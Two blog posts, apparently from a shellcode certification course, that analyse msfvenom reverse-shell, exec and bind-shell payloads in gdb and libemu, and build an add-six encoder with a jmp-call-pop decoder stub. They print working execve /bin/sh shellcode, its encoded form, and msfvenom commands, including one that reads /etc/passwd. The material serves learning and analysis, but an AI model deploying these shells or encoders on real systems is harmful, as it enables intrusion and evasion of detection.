Thursday, March 30, 2017

SLAE32 Exam - Assignment 5 of 7 (Analyzing Shellcode)

This post is the fifth of 7 exam assignments of the Pentester Academy's x86 Assembly Language and Shellcoding on Linux course.  Success in these 7 assignments results in the Pentester Academy's SLAE32 certification.

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

SLAE - 901

The files used in this assignment are here:
https://github.com/clubjk/SLAE32/tree/master/exam/task5


Assignment 5 Requirements
  • Take up at least 3 shellcode samples created using Msfvenom for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
  • Present your analysis
For this assigment I'll analyze and present 2 msfvenom linux/x86 payloads and one payload from shell-code.org.

Payload 1 - msfvenom linux/x86/shell/reverse_tcp

I checked to see what payloads were available.

I chose the linux/x86/shell/reverse_tcp shell.

I checked the options for the payload.


I extracted the shellcode using msfvenom in C format.


After visually confirming that the shellcode byte string contained no null bytes (x00), I put the byte string in the shellcode.c template.


I compiled it using gcc with the extra options.


After putting the shellcode in gdb, I located the start of the shellcode portion of the script (0x804a040), set a breakpoint for it, then ran the script which stopped at that breakpoint.

I noted that the shellcode is 31 bytes in length.

I disassembled the code and inspected the instructions.


First, I verified that the shellcode loaded into memory as intended by using gdb's examine command (x) so that it would display the 31 bytes starting at the alleged start of the shellcode.


I compared the string with the shellcode bytes I placed in the shellcode.c template earlier and was satisified that they were the same and that the shellcode was loaded into memory as intended.

I ran the shellcode byte string through ndisam and inspected the output.  I found that the size of the shellcode byte string overmatched ndisasm's usefulness.


I ran the shellcode string through libemu.




Using libemu, I confirmed that the shellcode was as, in fact, what msfvenom alleged.

I made a graphical depiction of libemu's sctest output.



This confirmed that the shellcode was a valid and safe TCP reverse shell.

Once confirming the shellcode was low-risk, I executed it.



It worked.  Yay.

Payload 2 - msfvenom linux/x86/exec
I planned to execute the "cat /etc/passwd" command with this shell.



$ msfvenom -l payloads | grep "linux/x86"
$ msfvenom --payload-options -p linux/x86/exec

$ msfvenom -a x86 --platform linux -f c -p linux/x86/exec CMD="cat /etc/passwd" -b \x00
(note: originally there were two null bytes in the shellcode byte string; I used msfvenom's -b switch (bad characters) to eliminate them)

From the output of the above command, I copied the resulting shellcode byte string into the shellcode.c template.  I then compiled using gcc as I did with the previous payload.


I ran the payload through ndisasm and inspected the instructions.  Again, I found ndisasm to be of limited usefulness in analyzing shellcode of this size.


I examined the shellcode in gdb and noticed a syscall of some kind (int x80).  I set a break point for the start of the syscall [(gdb) break *0x0804a08c], invoked gdb's run command and disassembled the instructions at that break point.  I ran gdb's info registers command so that I could examine the condition of the general registers.


I noticed the prior to the script executing the syscall that the eax register was set to the value of 11.

I reviewed /usr/include/i386-linux-gnu/asm/unistd_32.h for the system call numbers and confirmed that the system call was execve, which the normal way that x86 architectures execute commands.


I used gdb's stepi (step instruction) command.  This executed the system call which ran the CMD argument "cat /etc/passwd" as advertised.


I ran the payload through libemu's sctest and examined the output.



The libemu tool confirmed that it was an execve function.

I ran the dot command to turn libemu's sctest output into an image graph:
# dot jk.dot -Tpng -o /root/Desktop/jk.png


The graph output further confirmed the payload was as is alleged by msfvenom.

After fully analyzing the shellcode, I executed it.


It worked.  Yay.

Payload 3 - Surprise shell code from shell-storm.org
(P.S. it's actually a bind shell but we are going to pretend we don't know that, okay?...Work with me...)

I took a shellcode extract from a payload in shell-storm, pasted it into the shellcode.c template and compiled it.  Then I brought it into gdb.  Then I used the examine command to find the memory location of the start of the shellcode.  I set that as a breakpoint, ran it, and gdb stopped execution at that breakpoint.


 I noted the length of the shellcode (73 bytes).  

I disassembled the instructions at that break point.


I noticed several syscalls (int 0x80) in these instructions and set out to analyze them to see what this payload does.


I noted the memory location of the first syscall.


I set a breakpoint at that memory location and continued on to that breakpoint.
At that breakpoint I examined the state of the general registers.

I noticed the eax had a value of 102.

Again, I pulled up /usr/include/i386-linux-gnu/asm/unistd_32.h.




The ebx has a value of 1.  



So, it's a socket creation function.

It stepped past the syscall and examined the registers

I noticed that the eax has a value of 7, which is the return value from a successful socket creation.


I noted the memory location of the next syscall, set a breakpoint for it, continued, then disassembled the instructions at that breakpoint (prior to the next syscall).
















I ran gdb's info registers command to examine the state of the registers prior to the second system call.


Noting that the ebx has a value of 2...












This is a bind command.


Since the bind's port will be in the stack arguments, I examined the instructions to see if I could see where the port number is pushed on the stack.


0x672b is little endian format for the hex value of \x2b\x67 which is 11111 in decimal.  This is the port for the intended bind shell.


Looking at the next syscall, I examined the registers state prior to the call.

The ebx register has a value of 4...

4 equates to a Listen call.

So this code is looking and smelling like a bind shell exploit so far.  

Well, I think I may be boring the readers at this point, so let's execute the shellcode.









And it is a bind shell.  Yay.

Tuesday, March 28, 2017

SLAE32 Exam - Assignment 4 of 7 (Decoder Shellcode)

This post is the fourth of 7 exam assignments of the Pentester Academy's x86 Assembly Language and Shellcoding on Linux course.  Success in these 7 assignments results in the Pentester Academy's SLAE32 certification.

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

SLAE - 901

The files used in this assignment are here:
https://github.com/clubjk/SLAE32/tree/master/Shellcode/Insertion-Encoder/jk

Assignment 4 Requirements
  • Create a custom encoding scheme like "Insertion Encoder" we showed you.
  • Demonstrate a proof-of-concept using the execve-stack as the shellcode to encode with your schema and execute.
Here are the steps:
  1. Fashion an encoding script to encode the execve-stack shellcode.
  2. Create a executable that loads the encoded shellcode in memory, decodes it, and passes execution to it. 
  3. Extract the decoding stub/encoded shellcode string and paste into a shellcode script and execute.

This assignment will use the jmp-call-pop technique to find the shellcode in memory.  The encoder will simply add 6 to each shellcode byte; decoder will subtract 6.

1.  Fashion an encoding script to encode the execve-stack shellcode (from a previous exercise).


Make the script:
I found an encoding script on securitylabsexpert's blog and modified it for my assignment.


shellcode = (“[paste shellcode]”)


encoded = ""

for x in bytearray(shellcode):
y = x + 6
encoded += '0x'
encoded += '%02x,' %(y % 0xff)

print 'Shellcode length is: %d' % len(bytearray(shellcode))

print 'Encoded shellcode: %s'% encoded

A version of script is here.

Insert the shellcode from the execve-stack binary into the encoding script:

I used the following objdump command to extract executable bytes from the execve-stack binary:

$ objdump -d ./[binary]|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 








The objdump command extracted the following shellcode from the previously-tested execve-stack binary:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

I pasted this shellcode into the shellcode section of my encoder (encoder.py)



I ensured it was executable and ran the script.



This resulted in the following encoded shellcode:

0x37,0xc6,0x56,0x6e,0x74,0x35,0x79,0x6e,0x6e,0x35,0x35,0x68,0x6f,0x8f,0xe9,0x56,0x8f,0xe7,0x59,0x8f,0xe8,0xb6,0x11,0xd3,0x86,

I noted that the length of the encoded shellcode was 25 bytes for use in the next step.

2.  Create an executable that loads the encoded shellcode in memory, decodes it, and passes execution to it.

I modified securitylabexpert's decoder so that it decoded by subtracting 6 from each shellcode byte and used the jmp-call-pop technique to find the encoded shellcode which I pasted in the shellcode section of the decoder.nasm file.  A version of this script is here.


;encoder.nasm
;author:clubjk

 global _start 

 section .text

_start:
jmp short call_decoder

decoder:

pop esi
xor ecx, ecx
mov cl, 25         ;shellcode length is 25


decode:
sub byte [esi], 0x6   ; subtract 6 from each byte
inc esi
loop decode

  jmp short Shellcode

 call_decoder:

  call decoder
;below is the encoded shellcode


  Shellcode: db 0x37,0xc6,0x56,0x6e,0x74,0x35,0x79,0x6e,0x6e,0x35,0x35,0x68,0x6f,0x8f,0xe9,0x56,0x8f,0xe7,0x59,0x8f,0xe8,0xb6,0x11,0xd3,0x86

I compiled and linked decoder.nasm with the following commands to create the binary:

$ nasm -f elf32 -o [file].o [file].nasm
$ ld -o [file] [file].o




3.  Extract the decoding stub/encoded shellcode string and paste into a shellcode script and execute. 

I extracted the decoding stub/encoded shellcode string from the decoder binary with the following objdump command:

$ objdump -d ./decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g




The objdump command extracted the following decode stub/encoded shellcode string:

"\xeb\x0d\x5e\x31\xc9\xb1\x19\x80\x2e\x06\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x37\xc6\x56\x6e\x74\x35\x79\x6e\x6e\x35\x35\x68\x6f\x8f\xe9\x56\x8f\xe7\x59\x8f\xe8\xb6\x11\xd3\x86"

I pasted this string in the shellcode portion of the shellcode.c template:


The shellcode.c script above is available here.

I compiled shellcode.c with the following command:

$ gcc  -ggdb -fno-stack-protector -z execstack shellcode.c -o shellcode



Before I executed the shellcode, I analyzed the execution of it in gdb.



I loaded the shellcode binary in gdb in quiet mode.  Then I found the memory location where the decoding stub/encoded shellcode began (0x804a040).  I set a break point for that memory location and ran the program which stopped at that breakpoint.  I set the disassembly output to intel format (as is standard in this class).


I ran the disassemble command to view the decoding stub/encoded shellcode instructions.



Examining the instructions, I noticed that the "gibberish" seemed to begin at memory location 0x0804a054 (this most likely is the encoded shellcode instructions).

I used the examine command to view the bytes that start at the top memory address of the shellcode (0x0804a040)

I inspected the bytes and compared them with the intended bytes of shellcode.c


My inspection showed that the intended shellcode bytes made it into memory as intended.

This also confirmed that the encoded shellcode string began where the "gibberish" instructions were.

Highlighted is the encoded shellcode from encoder.py

The same encoded shellcode successfully loaded into memory.

The encoded (gibberish) instructions begin at memory location 0x0804a054

I used the stepi command to step through the execution of the code and watched as the gibberish decoded byte by byte until it showed the original intended  shellcode instructions from the  ececve.nasm.


I used the stepi command to execute the execve system call (int 0x80)...

and the shellcode executed as intended (/bin/sh)

After confirming the decode stub/encoded shellcode executed properly in gdb, I executed it from the command line.



It worked.  Yay.